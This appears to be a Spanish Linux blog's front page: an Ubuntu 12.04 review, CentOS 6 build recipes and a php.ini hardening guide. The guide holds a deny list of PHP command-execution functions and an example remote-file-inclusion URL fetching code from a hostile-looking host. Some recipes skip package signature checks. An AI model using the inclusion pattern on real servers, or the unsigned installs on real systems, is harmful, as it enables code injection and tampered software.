Ubuntu Desktop 12.04 LTS

En el día de ayer fue liberado Ubuntu 12.04 LTS y como aún estaba recuperándome de una inesperada ciática, pues nada mejor que hacer que hacer más soportable el dolor mientras veía TV y hacía backups de mis archivos personales para preparar el PC a instalar el recién salido Ubuntu.
Desde el 2004 sigo Ubuntu sin mucho interés ni sorpresa, viendo siempre como aprovechaban mejoras y desarrollos provenientes de otras distribuciones y descaradamente lo mostraban como avances propios, una estrategia de marketing poco vista en el mundo OpenSource, pero ya es hora de entender que todo ha cambiado. En realidad tuvieron que pasar 8 años, la caída de Novell, el sin puerto de openSUSE y la salida de De Icaza del panorama para que les empezara tomar en consideración, sí, usualmente soy dogmático, soy más apegado a distribuciones con tradición seria como RedHat (y derivados), openSUSE o debian, Ubuntu nunca me pareció una opción real, pero al salir del panorama Novell (o al menos verse tan opacada como ahora) alguien tiene que llenar el vacío.
En fin, el ser una LTS da tranquilidad y al menos “hoy” puedes tener muchas cosas actualizadas (perl 5.14 sin mayores esfuerzos!).
Lo que no me gustó:

  1. El instalador no proporciona métodos para el uso o reuso de LVM, por lo que tuve que formatear mi sistema de archivos y luego reinstalar el backup.
  2. Unity es feo e innecesario para un PC de escritorio, por suerte siempre se puede mover a gnome clasico.

Complicaciones adicionales: instalar vmware player, indispensable para mi en el trabajo, pero es tema del nuevo kernel y vmware más que de ubuntu, solución aplicar un parche.
Lo que me gustó: el resto, la distro está muy bien lograda, los ocres ya no son lo mio, pero la variedad de paquetes, facilidad de uso, la rápida instalación (sin mayores preguntas) de códecs y drivers propietarios vale tener que pensar en personalizar colores luego 😉 sin temor a equivocarme puedo afirmar que es de las más completas distros que he visto a la fecha, incluso sin mejorar unity o integrarse con gnome-shell, son la mejor elección para un Desktop Linux.
 

Instalar apache 2.4 en Centos 6

A tener en cuenta, es necesaria la instalación de algunas dependencias que no tenemos por defecto en un entorno centos 6 “virgen”
wget http://www.trieuvan.com/apache//apr/apr-1.4.6.tar.bz2
rpmbuild -ts apr-1.4.6.tar.bz2
su -c "yum-builddep rpmbuild/SRPMS/apr-1.4.6-1.src.rpm -y"
rpmbuild --rebuild --target `uname -m` ~/rpmbuild/SRPMS/apr-1.4.6-1.src.rpm
su -c "yum localinstall rpmbuild/RPMS/i686/apr*"

Continuar leyendo “Instalar apache 2.4 en Centos 6”

compilando wine 1.4 en centos 6

yum install flex libv4l-devel libgphoto2-devel -y #(requerimientos)
wget http://voxel.dl.sourceforge.net/project/wine/Source/wine-1.4.tar.bz2
tar -xjvf wine-1.4.tar.bz2
cd wine-1.4/
./configure --prefix=/usr/local/ --disable-win16
make
su -c "make install"

Instalando Calibre On Centos 6

Siguiendo con la guía Centos 6 the Perfect Desktop un método para tener calibre en nuestro CentOS 6

# Instalar requerimientos para compilar y para instalar:
yum install --enablerepo=epel --enablerepo=rpmforge python-devel ImageMagick-devel python-setuptools-devel qt-devel PyQt4-devel poppler-qt4-devel podofo-devel python-mechanize python-dateutil python-imaging python-BeautifulSoup chmlib-devel libicu-devel pyPdf python-cherrypy django-tagging -y
rpm -Uvh ftp://ftp.pbone.net/mirror/download.fedora.redhat.com/pub/fedora/linux/releases/13/Everything/x86_64/os/Packages/odfpy-0.9-2.fc12.noarch.rpm
wget ftp://mirror.switch.ch/pool/2/mirror/fedora/linux/releases/16/Everything/source/SRPMS/python-cssutils-0.9.7-2.fc15.src.rpm
rpmbuild --rebuild python-cssutils-0.9.7-2.fc15.src.rpm
rpm -Uvh $HOME/rpmbuild/RPMS/noarch/python-cssutils-0.9.7-2.el6.noarch.rpm

# Solo una dependencia más: qtwebkit necesaria, pero retirada del PyQt4-devel en CentOS 6 por alguna razón
yum install qtwebkit qtwebkit-devel --enablerepo=epel -y
wget http://rdieter.fedorapeople.org/rpms/PyQt4-webkit/PyQt4-webkit-4.6.2-1.el6.src.rpm
yum-builddep --nogpgcheck PyQt4-webkit-4.6.2-1.el6.src.rpm #lo que probablemente solo instalará dbus-python-devel
rpmbuild --rebuild PyQt4-webkit-4.6.2-1.el6.src.rpm
rpm -Uvh $HOME/rpmbuild/RPMS/i386/PyQt4-webkit-*

# Descargar el fuente desde fedora:
# descargamos calibre-0.6 porque calibre-0.8 o superiores son compatibles solo con python 2.7
wget ftp://ftp.icm.edu.pl/vol/rzm2/linux-fedora-secondary/archive/development/12/source/SRPMS/calibre-0.6.20-1.fc12.src.rpm
rpmbuild --rebuild --nosignature --target `uname -m` calibre-0.6.20-1.fc12.src.rpm
# e instalamos
yum localinstall $HOME/rpmbuild/RPMS/i686/calibre-0.6.20-1.el6.i686.rpm

#si eres neurótico (como algunos) deja limpio tu sistema rpm/yum
yum clean all
rpm -Va --nofiles --nodigest
rpm --rebuilddb
yum update

El resultado:

Mono & Banshee on CentOS 6

***********************************
updates: blond
***********************************
Este post más que una guía para instalar banshee en CentOS 6, te entrega el script para que copies y pegues, esperes y listo!, banshee en CentOS.
Si no seguiste los pasos mencionados en Centos 6 the Perfect Desktop, probablemente necesites instalar al menos: las siguientes herramientas:
yum install bison gettext glib2 freetype fontconfig libpng libpng-devel libX11 libX11-devel glib2-devel libgdi* libexif glibc-devel urw-fonts java unzip gcc gcc-c++ -y
Continuar leyendo “Mono & Banshee on CentOS 6”

Centos 6 the Perfect Desktop

Parto de la base de instalar Centos 6.0 como estación de trabajo (sistema de 32bits), especificamente como estación para el diseño y desarrollo de aplicaciones Web que es mi trabajo diario. Instalación.
Empezamos con instalar minimal Desktop, cada quien puede partir de la instalación que prefiera, sobre todo si lo hace desde un dvd completo como fue mi caso, el objetivo de tener un desktop reducido es el de alcanzar el maximo nivel de personalización y no arrastrar con herramientas que probablemente nunca utilizaremos. Continuar leyendo “Centos 6 the Perfect Desktop”

Configuración y Seguridad en PHP.INI

Lo primero es definir las funciones a no utilizar o no permitir su ejecución en nuestros servidores, mi recomendación es ser conservadores, no excederse ni limitar a los usuarios, pero si controlar la ejecución de las que consideramos potencialmente peligrosas o que simplemente no quermos mostrar, las siguientes sin mi recomendación:
disable_functions = popen,exec,system,passthru,proc_open,shell_exec,phpinfo,
disk_free_space,diskfreespace,leak,set_time_limit,
show_source,pclose,proc_nice,proc_terminate,
proc_get_status,proc_close,pfsockopen

También está evitar la carga dinámica de módulos (más información: http://www.gonullyourself.org/ezines/phrack/62/p62-0x0a_Attacking_Apache_Modules.txt ) con:
enable_dl = Off
Luego, apagar register_globals y no permitir la creación de variables al vuelo entre otras cosas con:
register_globals = Off
Otras funciones un tanto incomodas o innecesarias como expose_php (ej ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 )
expose_php = Off
Setear open_basedir para minimizar el acceso al sistema de ficheros, si usas apache con vhost como es mi caso, el setear open_basedir en php.ini no será de tanta utilidad como se esperaría, falta hacerlo en cada vhost, una ayuda sería esta:
<VirtualHost 127.0.0.1:80>
ServerAdmin webmaster@dominio.com
DocumentRoot "/www/htdocs"
ServerName midominio.com
ServerAlias www.midominio.com
...
<Directory "/www/htdocs">
Options -Indexes FollowSymLinks -ExecCGI
AllowOverride All
DirectoryIndex index.php index.html
Order allow,deny
Allow from all
<IfModule mod_php5.c>
php_admin_value open_basedir "/www/htdocs:/tmp"
</IfModule>
</Directory>
</VirtualHost>

o simplemente:
open_basedir = /www/htdocs:/tmp
Definitivamente desactivar allow_url_fopen, puede parecer una buena idea en principio, pero no todos controlarán lo que pasa por sus urls (ejem: http://midominio.com/?configile.php=http://dominio-hack.ru/config-spam.php)
El resto parece carpintería, pero a tener en cuenta, apagar
magic_quotes_gpc = Off
output_buffering = Off

Y por último pero no menos importante, setear variables como:
max_execution_time =
max_input_time =
memory_limit =
post_max_size =
upload_max_filesize =